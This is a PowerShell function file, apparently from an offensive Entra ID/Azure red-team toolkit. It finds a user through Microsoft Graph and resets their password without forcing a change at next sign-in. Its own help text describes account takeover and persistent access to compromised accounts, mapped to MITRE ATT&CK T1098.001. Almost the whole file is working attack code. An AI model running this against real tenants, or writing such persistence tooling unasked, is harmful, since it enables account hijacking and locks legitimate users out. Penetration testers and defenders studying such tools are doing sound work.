Public/Persistence/Set-UserCredential.ps1
|
function Set-UserCredential { param ( [Parameter(Mandatory = $false, ParameterSetName = 'ObjectId')] [string]$ObjectId, [Parameter(Mandatory = $false, ParameterSetName = 'Name')] [string]$Name, [Parameter(Mandatory = $false, ParameterSetName = 'UserPrincipalName')] [ValidatePattern('^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', ErrorMessage = "The value '{1}' is not a valid UPN format")] [string]$UserPrincipalName, [Parameter(ParameterSetName = 'ObjectId')] [Parameter(ParameterSetName = 'Name')] [Parameter(ParameterSetName = 'UserPrincipalName')] [Parameter(Mandatory = $false)] [securestring]$Password ) begin { Write-Verbose "Starting function $($MyInvocation.MyCommand.Name)" $MyInvocation.MyCommand.Name | Invoke-BlackCat -ResourceTypeName 'MSGraph' $userInfo = [System.Collections.Concurrent.ConcurrentBag[object]]::new() } process { try { # Construct query based on parameter set switch ($PSCmdlet.ParameterSetName) { 'ObjectId' { $response = Invoke-MsGraph -relativeUrl "users/$ObjectId" -NoBatch } 'Name' { $response = Invoke-MsGraph -relativeUrl "users?`$filter=startswith(displayName,'$Name') or startswith(userPrincipalName,'$Name')" } 'UserPrincipalName' { $response = Invoke-MsGraph -relativeUrl "users?`$filter=userPrincipalName eq '$UserPrincipalName'" } } # Set password if requested and not a group if ($Password) { $patchBody = @{ passwordProfile = @{ password = ($Password | ConvertFrom-SecureString -AsPlainText) forceChangePasswordNextSignIn = $false } } | ConvertTo-Json -Depth 3 $requestParameters = @{ Uri = "$($sessionVariables.graphUri)/users/$($response.id)" Method = 'PATCH' Headers = $script:graphHeader Body = $patchBody ContentType = 'application/json' UseBasicParsing = $true } Invoke-RestMethod @requestParameters } else { Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message "No password provided. Skipping password update." -Severity 'Warning' } $userInfo = Get-EntraInformation -ObjectId $response.id return $userInfo } catch { Write-Message -FunctionName $($MyInvocation.MyCommand.Name) -Message $($_.Exception.Message) -Severity 'Error' } } <# .SYNOPSIS Sets or updates credentials for an Entra ID user. .DESCRIPTION Updates the password for an Entra ID user account. Enables account takeover by resetting credentials to known values. Can be used for establishing persistent access to compromised or created accounts. .PARAMETER ObjectId The object ID of the user to update. .PARAMETER Name The display name or partial name to search for users. .PARAMETER UserPrincipalName The User Principal Name (email) of the user to update. .PARAMETER Password A SecureString containing the new password to set for the user. .EXAMPLE Set-UserCredential -UserPrincipalName "user@domain.com" -Password (ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force) Sets a new password for the specified user. .EXAMPLE Set-UserCredential -ObjectId "12345678-1234-1234-1234-123456789012" -Password $securePassword Sets a new password for the user with the specified object ID. .NOTES Requires appropriate Microsoft Graph permissions to manage user passwords. .LINK MITRE ATT&CK Tactic: TA0003 - Persistence https://attack.mitre.org/tactics/TA0003/ .LINK MITRE ATT&CK Technique: T1098.001 - Account Manipulation: Additional Cloud Credentials https://attack.mitre.org/techniques/T1098/001/ #> } |